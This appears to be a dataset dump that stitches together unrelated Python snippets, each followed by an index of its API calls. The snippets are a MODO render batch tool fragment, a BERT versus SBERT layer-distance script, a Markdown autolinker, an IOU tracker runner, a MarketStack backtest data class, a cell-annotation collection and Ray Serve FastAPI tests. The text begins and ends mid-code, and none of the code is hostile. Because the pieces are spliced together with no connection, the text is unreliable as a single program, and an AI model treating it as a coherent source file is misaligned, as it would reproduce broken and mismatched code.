os.sep + os.path.join('path', 'with', 'no', 'trailing_slash'),
os.path.join('~', 'path', 'to', 'righteousness'),
"kit_mecco_renderMonkey:path" + os.sep
]
substitutions['destination_examples'] += "#" + "\n#".join(
[" %s%s%s" % (i, " " * (indent - len(i)), str(util.expand_path(i))) for i in
rr]) + "\n\n"
return readme.format(s=substitutions)
| [
"os.path.exists",
"traceback.format_exc",
"yaml.dump",
"os.path.join",
"modo.dialogs.customFile",
"os.path.normpath",
"os.path.dirname",
"os.mkdir",
"random.randint",
"os.remove"
] | [((1178, 1314), 'modo.dialogs.customFile', 'modo.dialogs.customFile', (['"""fileSave"""', '"""Image Destination"""', '[i[0] for i in savers]', '[i[1] for i in savers]'], {'ext': '[i[2] for i in savers]'}), "('fileSave', 'Image Destination', [i[0] for i in\n savers], [i[1] for i in savers], ext=[i[2] for i in savers])\n", (1201, 1314), False, 'import modo\n'), ((803, 946), 'modo.dialogs.customFile', 'modo.dialogs.customFile', ([], {'dtype': '"""fileOpenMulti"""', 'title': '"""Select Scene File"""', 'names': "('lxo',)", 'unames': "('MODO Scene file',)", 'patterns': "('*.lxo',)"}), "(dtype='fileOpenMulti', title='Select Scene File',\n names=('lxo',), unames=('MODO Scene file',), patterns=('*.lxo',))\n", (826, 946), False, 'import modo\n'), ((3277, 3306), 'os.path.exists', 'os.path.exists', (['test_dir_path'], {}), '(test_dir_path)\n', (3291, 3306), False, 'import os\n'), ((3621, 3641), 'os.remove', 'os.remove', (['test_path'], {}), '(test_path)\n', (3630, 3641), False, 'import os\n'), ((6153, 6201), 'os.path.join', 'os.path.join', (['"""~"""', '"""path"""', '"""to"""', '"""righteousness"""'], {}), "('~', 'path', 'to', 'righteousness')\n", (6165, 6201), False, 'import os\n'), ((350, 502), 'modo.dialogs.customFile', 'modo.dialogs.customFile', ([], {'dtype': '"""fileSave"""', 'title': '"""Save Batch File"""', 'names': "['yaml']", 'unames': "['Batch File (YAML)']", 'patterns': "['*.yaml']", 'ext': "['yaml']"}), "(dtype='fileSave', title='Save Batch File', names=[\n 'yaml'], unames=['Batch File (YAML)'], patterns=['*.yaml'], ext=['yaml'])\n", (373, 502), False, 'import modo\n'), ((1030, 1049), 'os.path.normpath', 'os.path.normpath', (['i'], {}), '(i)\n', (1046, 1049), False, 'import os\n'), ((1536, 1700), 'modo.dialogs.customFile', 'modo.dialogs.customFile', ([], {'dtype': '"""fileOpen"""', 'title': '"""Select Batch File"""', 'names': "('yaml',)", 'unames': "('renderMonkey Batch File',)", 'patterns': "('*.yaml',)", 'path': 'None'}), "(dtype='fileOpen', title='Select Batch File', names=\n ('yaml',), unames=('renderMonkey Batch File',), patterns=('*.yaml',),\n path=None)\n", (1559, 1700), False, 'import modo\n'), ((3333, 3356), 'os.mkdir', 'os.mkdir', (['test_dir_path'], {}), '(test_dir_path)\n', (3341, 3356), False, 'import os\n'), ((3466, 3496), 'random.randint', 'random.randint', (['(100000)', '(999999)'], {}), '(100000, 999999)\n', (3480, 3496), False, 'import random\n'), ((3727, 3789), 'yaml.dump', 'yaml.dump', (['data'], {'indent': '(4)', 'width': '(999)', 'default_flow_style': '(False)'}), '(data, indent=4, width=999, default_flow_style=False)\n', (3736, 3789), False, 'import yaml\n'), ((3877, 3905), 'os.path.dirname', 'os.path.dirname', (['output_path'], {}), '(output_path)\n', (3892, 3905), False, 'import os\n'), ((6091, 6143), 'os.path.join', 'os.path.join', (['"""path"""', '"""with"""', '"""no"""', '"""trailing_slash"""'], {}), "('path', 'with', 'no', 'trailing_slash')\n", (6103, 6143), False, 'import os\n'), ((2095, 2117), 'traceback.format_exc', 'traceback.format_exc', ([], {}), '()\n', (2115, 2117), False, 'import traceback\n'), ((2232, 2254), 'traceback.format_exc', 'traceback.format_exc', ([], {}), '()\n', (2252, 2254), False, 'import traceback\n'), ((5700, 5744), 'os.path.join', 'os.path.join', (['"""path"""', '"""with"""', '"""filename.xyz"""'], {}), "('path', 'with', 'filename.xyz')\n", (5712, 5744), False, 'import os\n'), ((6011, 6063), 'os.path.join', 'os.path.join', (['"""already"""', '"""perfectly"""', '"""good"""', '"""path"""'], {}), "('already', 'perfectly', 'good', 'path')\n", (6023, 6063), False, 'import os\n'), ((5504, 5557), 'os.path.join', 'os.path.join', (['"""path"""', '"""to"""', '"""scene"""', '"""file"""', '"""frames"""'], {}), "('path', 'to', 'scene', 'file', 'frames')\n", (5516, 5557), False, 'import os\n'), ((5625, 5678), 'os.path.join', 'os.path.join', (['"""path"""', '"""to"""', '"""scene"""', '"""file"""', '"""frames"""'], {}), "('path', 'to', 'scene', 'file', 'frames')\n", (5637, 5678), False, 'import os\n'), ((5781, 5825), 'os.path.join', 'os.path.join', (['"""path"""', '"""with"""', '"""filename.jpg"""'], {}), "('path', 'with', 'filename.jpg')\n", (5793, 5825), False, 'import os\n')] |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import os
from collections import defaultdict
import numpy as np
from scipy.spatial import distance
from tqdm import tqdm
np.set_printoptions(threshold=np.inf, suppress=True)
def main(args):
num_batches = args.num_batches
bert_data = defaultdict(list)
s_or_e_bert_data = defaultdict(list)
print('loading data...')
for para_idx in range(num_batches):
bert_filename = os.path.join(args.in_dir, 'bert_b{}.npz'.format(para_idx + 1))
bert_outputs = np.load(bert_filename)
for k, v in bert_outputs.items():
bert_data[k].append(v)
sbert_filename = os.path.join(args.in_dir, '{}_b{}.npz'.format(args.model, para_idx + 1))
sbert_outputs = np.load(sbert_filename)
for k, v in sbert_outputs.items():
s_or_e_bert_data[k].append(v)
print('stacking all examples of both bert and {}...'.format(args.model))
for k, v in s_or_e_bert_data.items():
s_or_e_bert_data[k] = np.concatenate(v) # stack along batch dim
for k, v in bert_data.items():
bert_data[k] = np.concatenate(v) # stack along batch dim
print('begin computing...')
all_para_distances = [[] for _ in range(12)]
all_q_distances = [[] for _ in range(12)]
# 500 examples paragraphs
for para_idx in tqdm(range(500)):
in_ids = bert_data['input_ids'][para_idx]
seg_ids = bert_data['segment_ids'][para_idx]
feature_ids = bert_data['feature_id'][para_idx]
q_ids = s_or_e_bert_data["question_ids"][para_idx]
c_ids = s_or_e_bert_data["context_ids"][para_idx]
q_length = np.sum(q_ids.astype(np.bool))
c_length = np.sum(c_ids.astype(np.bool))
sequence_length = np.sum(in_ids.astype(np.bool))
second_length = np.sum(seg_ids.astype(np.bool))
first_length = sequence_length - second_length
if not (c_length == second_length):
print('shifted paragraphs:', feature_ids, c_length, second_length)
continue
if not (q_length == first_length):
print('shifted questions:', feature_ids, q_length, first_length)
continue
for l in range(12):
b_layer_vectors = bert_data['layer{}'.format(l)][para_idx]
s_layer_vectors = s_or_e_bert_data['layer{}'.format(l)][para_idx]
# b_pvs is layer paragraph tokens vectors for bert
b_pvs = b_layer_vectors[first_length:second_length]
s_pvs = s_layer_vectors[len(q_ids):len(q_ids) + c_length]
# calculate variance of distances of 5 paragraph vectors to the centroid
p_dist = np.mean([distance.cosine(b_p, s_p) for b_p, s_p in zip(b_pvs, s_pvs)])
all_para_distances[l].append(p_dist)
# q_pvs is layer question tokens vectors for bert
b_qvs = b_layer_vectors[:first_length]
s_qvs = s_layer_vectors[:q_length]
q_dist = np.mean([distance.cosine(b_q, s_q) for b_q, s_q in zip(b_qvs, s_qvs)])
all_q_distances[l].append(q_dist)
# all_para_variances has 12 list, each has 100 variances
all_para_mean_variances = [np.mean(v) for v in all_para_distances]
all_q_mean_variances = [np.mean(v) for v in all_q_distances]
print(all_para_mean_variances)
print(all_q_mean_variances)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('in_dir', type=str, default=None)
parser.add_argument('-n', '--num_batches', type=int, default=20)
parser.add_argument('-m', '--model', type=str, default='sbert', choices=('ebert', 'sbert'),
help='choose which model compare distance')
main(parser.parse_args())
| [
"numpy.mean",
"scipy.spatial.distance.cosine",
"argparse.ArgumentParser",
"collections.defaultdict",
"numpy.concatenate",
"numpy.load",
"numpy.set_printoptions"
] | [((188, 240), 'numpy.set_printoptions', 'np.set_printoptions', ([], {'threshold': 'np.inf', 'suppress': '(True)'}), '(threshold=np.inf, suppress=True)\n', (207, 240), True, 'import numpy as np\n'), ((310, 327), 'collections.defaultdict', 'defaultdict', (['list'], {}), '(list)\n', (321, 327), False, 'from collections import defaultdict\n'), ((352, 369), 'collections.defaultdict', 'defaultdict', (['list'], {}), '(list)\n', (363, 369), False, 'from collections import defaultdict\n'), ((3408, 3433), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (3431, 3433), False, 'import argparse\n'), ((549, 571), 'numpy.load', 'np.load', (['bert_filename'], {}), '(bert_filename)\n', (556, 571), True, 'import numpy as np\n'), ((772, 795), 'numpy.load', 'np.load', (['sbert_filename'], {}), '(sbert_filename)\n', (779, 795), True, 'import numpy as np\n'), ((1031, 1048), 'numpy.concatenate', 'np.concatenate', (['v'], {}), '(v)\n', (1045, 1048), True, 'import numpy as np\n'), ((1133, 1150), 'numpy.concatenate', 'np.concatenate', (['v'], {}), '(v)\n', (1147, 1150), True, 'import numpy as np\n'), ((3194, 3204), 'numpy.mean', 'np.mean', (['v'], {}), '(v)\n', (3201, 3204), True, 'import numpy as np\n'), ((3262, 3272), 'numpy.mean', 'np.mean', (['v'], {}), '(v)\n', (3269, 3272), True, 'import numpy as np\n'), ((2690, 2715), 'scipy.spatial.distance.cosine', 'distance.cosine', (['b_p', 's_p'], {}), '(b_p, s_p)\n', (2705, 2715), False, 'from scipy.spatial import distance\n'), ((2993, 3018), 'scipy.spatial.distance.cosine', 'distance.cosine', (['b_q', 's_q'], {}), '(b_q, s_q)\n', (3008, 3018), False, 'from scipy.spatial import distance\n')] |
import markdown
import re, socket
TLDS = ('gw', 'gu', 'gt', 'gs', 'gr', 'gq', 'gp', 'gy', 'gg', 'gf', 'ge', 'gd', 'ga', 'edu', 'va', 'gn', 'gl', 'gi',
'gh', 'iq', 'lb', 'lc', 'la', 'tv', 'tw', 'tt', 'arpa', 'lk', 'li', 'lv', 'to', 'lt', 'lr', 'ls', 'th', 'tf',
'su', 'td', 'aspx', 'tc', 'ly', 'do', 'coop', 'dj', 'dk', 'de', 'vc', 'me', 'dz', 'uy', 'yu', 'vg', 'ro',
'vu', 'qa', 'ml', 'us', 'zm', 'cfm', 'tel', 'ee', 'htm', 'za', 'ec', 'bg', 'uk', 'eu', 'et', 'zw',
'es', 'er', 'ru', 'rw', 'rs', 'asia', 're', 'it', 'net', 'gov', 'tz', 'bd', 'be', 'bf', 'asp', 'jobs', 'ba',
'bb', 'bm', 'bn', 'bo', 'bh', 'bi', 'bj', 'bt', 'jm', 'sb', 'bw', 'ws', 'br', 'bs', 'je', 'tg', 'by', 'bz',
'tn', 'om', 'ua', 'jo', 'pdf', 'mz', 'com', 'ck', 'ci', 'ch', 'co', 'cn', 'cm', 'cl', 'cc', 'tr', 'ca', 'cg',
'cf', 'cd', 'cz', 'cy', 'cx', 'org', 'cr', 'txt', 'cv', 'cu', 've', 'pr', 'ps', 'fk', 'pw', 'pt', 'museum',
'py', 'tl', 'int', 'pa', 'pf', 'pg', 'pe', 'pk', 'ph', 'pn', 'eg', 'pl', 'tk', 'hr', 'aero', 'ht', 'hu', 'hk',
'hn', 'vn', 'hm', 'jp', 'info', 'md', 'mg', 'ma', 'mc', 'uz', 'mm', 'local', 'mo', 'mn', 'mh', 'mk', 'cat',
'mu', 'mt', 'mw', 'mv', 'mq', 'ms', 'mr', 'im', 'ug', 'my', 'mx', 'il', 'pro', 'ac', 'sa', 'ae', 'ad', 'ag',
'af', 'ai', 'vi', 'is', 'ir', 'am', 'al', 'ao', 'an', 'aq', 'as', 'ar', 'au', 'at', 'aw', 'in', 'ax', 'az',
'ie', 'id', 'sr', 'nl', 'mil', 'no', 'na', 'travel', 'nc', 'ne', 'nf', 'ng', 'nz', 'dm', 'np',
'so', 'nr', 'nu', 'fr', 'io', 'ni', 'ye', 'sv', 'kz', 'fi', 'fj', 'fm', 'fo', 'tj', 'sz', 'sy',
'mobi', 'kg', 'ke', 'doc', 'ki', 'kh', 'kn', 'km', 'st', 'sk', 'kr', 'si', 'kp', 'kw', 'sn', 'sm', 'sl', 'sc',
'biz', 'ky', 'sg', 'se', 'sd')
AUTO_LINK_RE = re.compile(r"""
(?P<ws>.?\s*)
(?P<url>
(?:(?P<format1>
((?P<protocol1>[a-z][a-z]+)://)?
(?P<domain1>\w(?:[\w-]*\w)?\.\w(?:[\w-]*\w)?(?:\.\w(?:[\w-]*\w)?)*)
) | (?P<format2>
((?P<protocol2>[a-z][a-z]+)://)
(?P<domain2>\w(?:[\w-]*\w)?(?:\.\w(?:[\w-]*\w)?)*)
))
(?P<port>:\d+)?
(?P<uri>/[^\s<]*)?
)
""", re.X | re.I)
EMAIL_LINK_REPLACE_RE = re.compile("(?<= href=\")[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})(?=\")")
def is_ip(addr):
try:
socket.inet_aton(addr)
return True
except:
return False
def replacer(m):
ws = m.group('ws')
if ws and ws[0] in ("'", '"', "@"):
return m.group(0)
elif not ws:
ws = ''
if m.group('format1'):
fn = 1
else:
fn = 2
protocol = m.group('protocol%s' % fn)
domain = m.group('domain%s' % fn)
if not protocol:
domain_chunks = domain.split('.')
if not (len(domain_chunks) == 1 and domain_chunks[0].lower() == 'localhost') or (domain_chunks[-1].lower() in TLDS):
return m.group(0)
if (not protocol) and is_ip(domain):
return m.group(0)
port = m.group('port')
uri = m.group('uri')
if not ws:
ws = ''
if not port:
port = ''
if not protocol:
protocol = 'http'
if not uri:
uri = ''
url = "%s://%s%s%s" % (protocol, domain, port, uri)
return "%s<a href=\"%s\">%s</a>" % (ws, url, m.group('url'))
class AutoLinker(markdown.postprocessors.Postprocessor):
def run(self, text):
text = AUTO_LINK_RE.sub(replacer, text)
text = EMAIL_LINK_REPLACE_RE.sub(lambda m: "mailto:%s" % m.group(0), text)
return text
class AutoLinkerExtension(markdown.Extension):
def extendMarkdown(self, md, md_globals):
md.postprocessors['autolinker'] = AutoLinker()
def makeExtension(configs=None):
return AutoLinkerExtension(configs=configs)
| [
"socket.inet_aton",
"re.compile"
] | [((1807, 2251), 're.compile', 're.compile', (['"""\n (?P<ws>.?\\\\s*)\n (?P<url>\n (?:(?P<format1>\n ((?P<protocol1>[a-z][a-z]+)://)?\n (?P<domain1>\\\\w(?:[\\\\w-]*\\\\w)?\\\\.\\\\w(?:[\\\\w-]*\\\\w)?(?:\\\\.\\\\w(?:[\\\\w-]*\\\\w)?)*)\n ) | (?P<format2>\n ((?P<protocol2>[a-z][a-z]+)://)\n (?P<domain2>\\\\w(?:[\\\\w-]*\\\\w)?(?:\\\\.\\\\w(?:[\\\\w-]*\\\\w)?)*)\n ))\n (?P<port>:\\\\d+)?\n (?P<uri>/[^\\\\s<]*)?\n )\n\n"""', '(re.X | re.I)'], {}), '(\n """\n (?P<ws>.?\\\\s*)\n (?P<url>\n (?:(?P<format1>\n ((?P<protocol1>[a-z][a-z]+)://)?\n (?P<domain1>\\\\w(?:[\\\\w-]*\\\\w)?\\\\.\\\\w(?:[\\\\w-]*\\\\w)?(?:\\\\.\\\\w(?:[\\\\w-]*\\\\w)?)*)\n ) | (?P<format2>\n ((?P<protocol2>[a-z][a-z]+)://)\n (?P<domain2>\\\\w(?:[\\\\w-]*\\\\w)?(?:\\\\.\\\\w(?:[\\\\w-]*\\\\w)?)*)\n ))\n (?P<port>:\\\\d+)?\n (?P<uri>/[^\\\\s<]*)?\n )\n\n"""\n , re.X | re.I)\n', (1817, 2251), False, 'import re, socket\n'), ((2247, 2358), 're.compile', 're.compile', (['"""(?<= href=")[_a-z0-9-]+(\\\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\\\.[a-z0-9-]+)*(\\\\.[a-z]{2,4})(?=")"""'], {}), '(\n \'(?<= href=")[_a-z0-9-]+(\\\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\\\.[a-z0-9-]+)*(\\\\.[a-z]{2,4})(?=")\'\n )\n', (2257, 2358), False, 'import re, socket\n'), ((2383, 2405), 'socket.inet_aton', 'socket.inet_aton', (['addr'], {}), '(addr)\n', (2399, 2405), False, 'import re, socket\n')] |
from dataclasses import dataclass
from iou_tracker import track_iou
from util_iou import load_mot, save_to_csv
from time import time
import os
from multiprocessing.pool import ThreadPool
import pandas as pd
@dataclass
class Config_mta_tracker:
detections_folder: str
track_output_folder : str
cam_ids: list
sigma_l = 0.0
sigma_h = 0.9
sigma_iou = 0.3
t_min = 3
def run_tracker_task(config_mta_tracker,cam_id):
print("Running tracker on cam no. {}".format(cam_id))
detections_name = "detections_cam_{}.csv".format(cam_id)
detections_path = os.path.join(config_mta_tracker.detections_folder, detections_name)
loaded_detections = load_mot(detections=detections_path)
start = time()
tracks = track_iou(loaded_detections
, config_mta_tracker.sigma_l
, config_mta_tracker.sigma_h
, config_mta_tracker.sigma_iou
, config_mta_tracker.t_min)
end = time()
num_frames = len(loaded_detections)
print("finished with " + str(int(num_frames / (end - start))) + " fps!")
save_tracks(tracks, cam_id=cam_id, output_folder=config_mta_tracker.track_output_folder)
def run_iou_tracker(config_mta_tracker):
pool = ThreadPool(processes=10)
for cam_id in config_mta_tracker.cam_ids:
pool.apply_async(func=run_tracker_task,args=(config_mta_tracker,cam_id))
#run_tracker_task(config_mta_tracker,cam_id)
pool.close()
pool.join()
def save_tracks(tracks,cam_id,output_folder):
#frame_no_cam,cam_id,person_id,detection_idx,xtl,ytl,xbr,ybr
tracks_list = []
for person_id, track in enumerate(tracks):
for frame_no_cam, bbox in enumerate(track["bboxes"],start=track["start_frame"]):
tracks_list.append({ "frame_no_cam" : frame_no_cam
, "cam_id" : cam_id
, "person_id" : person_id
, "detection_idx" : person_id
, "xtl" : bbox[0]
, "ytl" : bbox[1]
, "xbr" : bbox[2]
, "ybr" : bbox[3]
})
tracks_dataframe = pd.DataFrame(tracks_list)
tracks_dataframe = tracks_dataframe.astype(int)
tracks_dataframe = tracks_dataframe[["frame_no_cam","cam_id","person_id","detection_idx","xtl","ytl","xbr","ybr"]]
tracks_dataframe = tracks_dataframe.sort_values(['frame_no_cam', 'person_id'],ignore_index=True)
os.makedirs(output_folder,exist_ok=True)
tracks_name = "track_results_{}.txt".format(cam_id)
tracks_path = os.path.join(output_folder, tracks_name)
tracks_dataframe.to_csv(path_or_buf=tracks_path,index=False)
if __name__ == "__main__":
'''
cmt = Config_mta_tracker(
detections_folder="/media/philipp/philippkoehl_ssd/work_dirs/detector/detections/frcnn50_abdnet"
, track_output_folder="/media/philipp/philippkoehl_ssd/work_dirs/tracker/frcnn50_abdnet_iou_try"
, cam_ids=[0, 1, 2, 3, 4, 5])
'''
'''
cmt = Config_mta_tracker(
detections_folder="/media/philipp/philippkoehl_ssd/work_dirs/detector/detections/frcnn50_abdnet"
, track_output_folder="/media/philipp/philippkoehl_ssd/work_dirs/tracker/frcnn50_abdnet_iou_try"
, cam_ids=[0, 1, 2, 3, 4, 5])
'''
'''
cmt = Config_mta_tracker(
detections_folder="/home/koehlp/Downloads/work_dirs/detector/detections/cascade_abdnet_mta_test_cpt_iosb"
, track_output_folder="/home/koehlp/Downloads/work_dirs/tracker/cascade_abdnet_mta_test_iou_iosb"
, cam_ids=[0, 1, 2, 3, 4, 5])
'''
cmt = Config_mta_tracker(
detections_folder="/home/koehlp/Downloads/work_dirs/detector/detections/faster_rcnn_r50_gta_trained_strong_reid_Gta2207_iosb"
, track_output_folder="/home/koehlp/Downloads/work_dirs/tracker/faster_rcnn_r50_gta_trained_strong_reid_Gta2207_iou_fast_iosb"
, cam_ids=[0, 1, 2, 3, 4, 5])
run_iou_tracker(config_mta_tracker=cmt) | [
"os.makedirs",
"os.path.join",
"iou_tracker.track_iou",
"multiprocessing.pool.ThreadPool",
"pandas.DataFrame",
"util_iou.load_mot",
"time.time"
] | [((586, 653), 'os.path.join', 'os.path.join', (['config_mta_tracker.detections_folder', 'detections_name'], {}), '(config_mta_tracker.detections_folder, detections_name)\n', (598, 653), False, 'import os\n'), ((679, 715), 'util_iou.load_mot', 'load_mot', ([], {'detections': 'detections_path'}), '(detections=detections_path)\n', (687, 715), False, 'from util_iou import load_mot, save_to_csv\n'), ((728, 734), 'time.time', 'time', ([], {}), '()\n', (732, 734), False, 'from time import time\n'), ((748, 893), 'iou_tracker.track_iou', 'track_iou', (['loaded_detections', 'config_mta_tracker.sigma_l', 'config_mta_tracker.sigma_h', 'config_mta_tracker.sigma_iou', 'config_mta_tracker.t_min'], {}), '(loaded_detections, config_mta_tracker.sigma_l, config_mta_tracker\n .sigma_h, config_mta_tracker.sigma_iou, config_mta_tracker.t_min)\n', (757, 893), False, 'from iou_tracker import track_iou\n'), ((995, 1001), 'time.time', 'time', ([], {}), '()\n', (999, 1001), False, 'from time import time\n'), ((1269, 1293), 'multiprocessing.pool.ThreadPool', 'ThreadPool', ([], {'processes': '(10)'}), '(processes=10)\n', (1279, 1293), False, 'from multiprocessing.pool import ThreadPool\n'), ((2469, 2494), 'pandas.DataFrame', 'pd.DataFrame', (['tracks_list'], {}), '(tracks_list)\n', (2481, 2494), True, 'import pandas as pd\n'), ((2772, 2813), 'os.makedirs', 'os.makedirs', (['output_folder'], {'exist_ok': '(True)'}), '(output_folder, exist_ok=True)\n', (2783, 2813), False, 'import os\n'), ((2887, 2927), 'os.path.join', 'os.path.join', (['output_folder', 'tracks_name'], {}), '(output_folder, tracks_name)\n', (2899, 2927), False, 'import os\n')] |
from functools import cache
import backtest.backtest_config as backtest_config
import requests
import json
import pandas as pd
class APIError(Exception):
pass
class MarketStackBackEnd:
"""
A specific class to handle the particularities of the market stack API, can be swapped out for other classes with
the similar interface if needed
"""
def __init__(self):
self.session = requests.session()
self.api_key = self._read_secrets()
self.base_url = 'http://api.marketstack.com/v1'
def _read_secrets(self):
"""
Reads API secret from file
"""
with open(backtest_config.API_KEY_PATH) as file:
api_key = file.read()
return api_key
def _load_from_file(self):
"""
Loads market data stored in json file
"""
with open('backend_data.json', 'r') as file:
data = json.load(file)
df = pd.DataFrame(data)
return df
def get_market_data(self, symbols, start_date=None, end_date=None):
"""
Gets marketdata from API
"""
try:
df = self._load_from_file()
except FileNotFoundError as e:
self._eod_data(symbols,start_date,end_date)
df = self._load_from_file()
df['date'] = pd.to_datetime(df['date'])
return df
@cache
def _eod_data(self, symbols, start_date=None, end_date=None, limit=1000, offset=0):
"""
Makes the API calls and handles pagination
"""
if type(symbols) == tuple:
symbols = ','.join(symbols)
else:
symbols = symbols
params = {
'access_key': self.api_key,
'symbols': symbols,
'date_from': start_date,
'date_to': end_date,
'limit': limit,
'offset': offset,
}
response = self.session.get(f'{self.base_url}/eod', params=params)
if response.ok:
first_page_content = json.loads(response.content)
total=first_page_content['pagination']['total']
extra_requests = total//first_page_content['pagination']['limit']
if extra_requests > 0:
print('handling pagination')
total_data=first_page_content['data']
for i in range(extra_requests+1):
params['offset'] = i*limit
next_request = self.session.get(f'{self.base_url}/eod', params=params)
if next_request.ok:
parsed_content = json.loads(next_request.content)
print(parsed_content['pagination'])
total_data += parsed_content['data']
with open('backend_data.json', 'w') as file:
json.dump(total_data, file)
else:
with open('backend_data.json', 'w') as file:
json.dump(first_page_content['data'], file)
else:
raise APIError(f'{response.status_code} ERROR: {response.content}')
def _parse(self, response_content):
"""
Parses response into pandas dataframe
"""
df = pd.DataFrame(response_content['data'])
return df
class MarketData:
"""Generic class to supply other functions with market data, default values were added to simplify instantiation"""
def __init__(self, symbols=('AAPL','GOOG','IBM','AAPL','MSFT','CSCO','NOK'), start_date='2018-01-01', end_date='2022-03-05', backend=MarketStackBackEnd()):
self.data = backend.get_market_data(symbols,start_date,end_date)
self.start_date = start_date
self.end_date = end_date
self.dates = sorted(self.data['date'].unique())
self.instruments = {}
self.get_instruments()
self.name = f'MarketData - {start_date} - {end_date} - {",".join(self.instruments)}'
def __str__(self):
return self.name
def close_at(self,symbol,date):
"""
Fetches close price for a symbol at a given date
"""
return self.data[(self.data['symbol']==symbol) & (self.data['date']==date)]['close'].values[0]
def get_instruments(self):
"""
Populates our instruments dictionary
"""
for symbol in self.data['symbol'].unique():
instrument = Instrument(symbol, self)
self.instruments.update({symbol: instrument})
def get_instrument_prices(self, symbol):
"""
Fetches prices from market data for a particular instrument
"""
price_series = self.data[(self.data['symbol']==symbol)][['date','close']]
price_series['close'] = price_series['close']
price_series = price_series.drop_duplicates()
price_series = price_series.set_index('date')
return price_series
class Instrument():
"""
Defines an instrument, this is an abstraction layer to represent stocks and their historical prices
"""
def __init__(self, symbol, marketdata):
self.symbol = symbol
self.marketdata = marketdata
self.prices = self.fetch_prices()
def fetch_prices(self):
"""
Uses our market data object to return a price series indexed by date which will later be used in analysis
"""
prices = self.marketdata.get_instrument_prices(self.symbol)
prices.name = f'Close prices for {self.symbol}'
return prices
def __str__(self):
return f'Instrument({self.symbol})'
def __repr__(self):
return self.__str__() | [
"requests.session",
"json.loads",
"json.dump",
"json.load",
"pandas.DataFrame",
"pandas.to_datetime"
] | [((408, 426), 'requests.session', 'requests.session', ([], {}), '()\n', (424, 426), False, 'import requests\n'), ((1314, 1340), 'pandas.to_datetime', 'pd.to_datetime', (["df['date']"], {}), "(df['date'])\n", (1328, 1340), True, 'import pandas as pd\n'), ((3211, 3249), 'pandas.DataFrame', 'pd.DataFrame', (["response_content['data']"], {}), "(response_content['data'])\n", (3223, 3249), True, 'import pandas as pd\n'), ((904, 919), 'json.load', 'json.load', (['file'], {}), '(file)\n', (913, 919), False, 'import json\n'), ((937, 955), 'pandas.DataFrame', 'pd.DataFrame', (['data'], {}), '(data)\n', (949, 955), True, 'import pandas as pd\n'), ((2015, 2043), 'json.loads', 'json.loads', (['response.content'], {}), '(response.content)\n', (2025, 2043), False, 'import json\n'), ((2821, 2848), 'json.dump', 'json.dump', (['total_data', 'file'], {}), '(total_data, file)\n', (2830, 2848), False, 'import json\n'), ((2949, 2992), 'json.dump', 'json.dump', (["first_page_content['data']", 'file'], {}), "(first_page_content['data'], file)\n", (2958, 2992), False, 'import json\n'), ((2586, 2618), 'json.loads', 'json.loads', (['next_request.content'], {}), '(next_request.content)\n', (2596, 2618), False, 'import json\n')] |
from snovault import (
calculated_property,
collection,
load_schema,
)
from .base import (
Item,
)
@collection(
name='cell-annotations',
properties={
'title': 'Cell annotations',
'description': 'Listing of cell annotations',
})
class CellAnnotation(Item):
item_type = 'cell_annotation'
schema = load_schema('encoded:schemas/cell_annotation.json')
embedded = [
'cell_ontology',
'tissues_sampled'
]
@calculated_property(schema={
"title": "Tissues sampled",
"description": "",
"comment": "Do not submit. This is a calculated property",
"type": "array",
"items": {
"type": "string",
"linkTo": "OntologyTerm"
},
"notSubmittable": True,
})
def tissues_sampled(self, request, matrix_files=None):
if matrix_files:
libs = set()
for mf in matrix_files:
mf_obj = request.embed(mf, '@@object')
libs.update(mf_obj.get('libraries'))
onts = set()
for l in libs:
lib_obj = request.embed(l, '@@object')
onts.update(lib_obj.get('biosample_ontologies'))
return list(onts)
| [
"snovault.collection",
"snovault.calculated_property",
"snovault.load_schema"
] | [((118, 245), 'snovault.collection', 'collection', ([], {'name': '"""cell-annotations"""', 'properties': "{'title': 'Cell annotations', 'description': 'Listing of cell annotations'}"}), "(name='cell-annotations', properties={'title': 'Cell annotations',\n 'description': 'Listing of cell annotations'})\n", (128, 245), False, 'from snovault import calculated_property, collection, load_schema\n'), ((349, 400), 'snovault.load_schema', 'load_schema', (['"""encoded:schemas/cell_annotation.json"""'], {}), "('encoded:schemas/cell_annotation.json')\n", (360, 400), False, 'from snovault import calculated_property, collection, load_schema\n'), ((482, 724), 'snovault.calculated_property', 'calculated_property', ([], {'schema': "{'title': 'Tissues sampled', 'description': '', 'comment':\n 'Do not submit. This is a calculated property', 'type': 'array',\n 'items': {'type': 'string', 'linkTo': 'OntologyTerm'}, 'notSubmittable':\n True}"}), "(schema={'title': 'Tissues sampled', 'description': '',\n 'comment': 'Do not submit. This is a calculated property', 'type':\n 'array', 'items': {'type': 'string', 'linkTo': 'OntologyTerm'},\n 'notSubmittable': True})\n", (501, 724), False, 'from snovault import calculated_property, collection, load_schema\n')] |
from fastapi import FastAPI
import requests
import pytest
import inspect
from ray import serve
from ray.serve.utils import make_fastapi_class_based_view
def test_fastapi_function(serve_instance):
client = serve_instance
app = FastAPI()
@app.get("/{a}")
def func(a: int):
return {"result": a}
@serve.ingress(app)
class FastAPIApp:
pass
client.deploy("f", FastAPIApp)
resp = requests.get(f"http://localhost:8000/f/100")
assert resp.json() == {"result": 100}
resp = requests.get(f"http://localhost:8000/f/not-number")
assert resp.status_code == 422 # Unprocessable Entity
assert resp.json()["detail"][0]["type"] == "type_error.integer"
def test_ingress_prefix(serve_instance):
client = serve_instance
app = FastAPI()
@app.get("/{a}")
def func(a: int):
return {"result": a}
@serve.ingress(app, path_prefix="/api")
class App:
pass
client.deploy("f", App)
resp = requests.get(f"http://localhost:8000/api/100")
assert resp.json() == {"result": 100}
def test_class_based_view(serve_instance):
client = serve_instance
app = FastAPI()
@app.get("/other")
def hello():
return "hello"
@serve.ingress(app)
class A:
def __init__(self):
self.val = 1
@app.get("/calc/{i}")
def b(self, i: int):
return i + self.val
@app.post("/calc/{i}")
def c(self, i: int):
return i - self.val
client.deploy("f", A)
resp = requests.get(f"http://localhost:8000/f/calc/41")
assert resp.json() == 42
resp = requests.post(f"http://localhost:8000/f/calc/41")
assert resp.json() == 40
resp = requests.get(f"http://localhost:8000/f/other")
assert resp.json() == "hello"
def test_make_fastapi_cbv_util():
app = FastAPI()
class A:
@app.get("/{i}")
def b(self, i: int):
pass
# before, "self" is treated as a query params
